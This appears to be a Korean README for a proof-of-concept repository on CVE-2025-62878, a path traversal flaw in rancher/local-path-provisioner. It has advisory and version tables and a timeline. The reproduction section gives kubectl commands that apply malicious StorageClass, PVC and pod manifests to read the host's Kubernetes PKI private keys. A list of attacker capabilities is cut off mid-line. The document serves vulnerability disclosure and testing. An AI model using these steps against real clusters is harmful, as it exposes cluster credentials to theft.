
CVE-2025-62878
| 항목 | 값 |
|---|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| 심각도 | 치명적 (CVSS 10.0) |
| CWE | CWE-23 (상대 경로 탐색) |
| 영향받는 구성 요소 | rancher/local-path-provisioner |
| 영향받는 버전 | v0.0.27 ~ v0.0.32 |
| 수정된 버전 | v0.0.33+ |
StorageClass의 pathPattern 매개변수에 경로 탐색 취약점이 존재합니다. 악의적인 사용자는 상대 경로 요소(예: ../)를 사용하여 pathPattern을 조작함으로써 구성된 기본 디렉터리 제한을 우회하고 호스트 노드의 임의 위치를 가리키는 PersistentVolume을 생성할 수 있습니다.
이를 통해 공격자는 다음을 수행할 수 있습니다:
/etc/kubernetes/pki/)| 버전 | 릴리스 날짜 | pathPattern 지원 | 취약 여부 |
|---|---|---|---|
| v0.0.26 | 2023-12-03 | 아니요 | 안전 (기능 없음) |
| v0.0.27 | 2024-05-29 | 예 | 취약 |
| v0.0.28 | 2024-06-19 | 예 | 취약 |
| v0.0.29 | 2024-09-03 | 예 | 취약 |
| v0.0.30 | 2024-10-07 | 예 | 취약 |
| v0.0.31 | 2025-01-24 | 예 | 취약 |
| v0.0.32 | 2025-07-31 | 예 | 취약 |
| v0.0.33 | 2025-12-25 | 예 | 수정됨 |
| v0.0.34 | 2026-01-06 | 예 | 수정됨 |
참고: 공식 GitHub Advisory에는 "< 0.0.34"가 영향을 받는다고 명시되어 있지만, 당사 테스트 결과 다음이 확인되었습니다:
| 이벤트 | 날짜 |
|---|---|
| pathPattern 기능 도입 | 2024-05-26 (커밋 af85381) |
| 첫 번째 취약 릴리스 (v0.0.27) | 2024-05-29 |
| 수정 커밋 | 2025-12-24 (커밋 1ed6b54) |
| 첫 번째 패치 릴리스 (v0.0.33) | 2025-12-25 |
| CVE 게시 | 2026-02-04 |
자세한 재현 단계와 스크립트는 exploit/ 디렉터리를 참조하십시오.
# 1. 취약한 버전 설치
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. 익스플로잇 적용
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. 익스플로잇 확인
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# 출력: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Kubernetes PKI 인증서 및 개인 키 표시
v0.0.33 이상으로 업그레이드하십시오:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml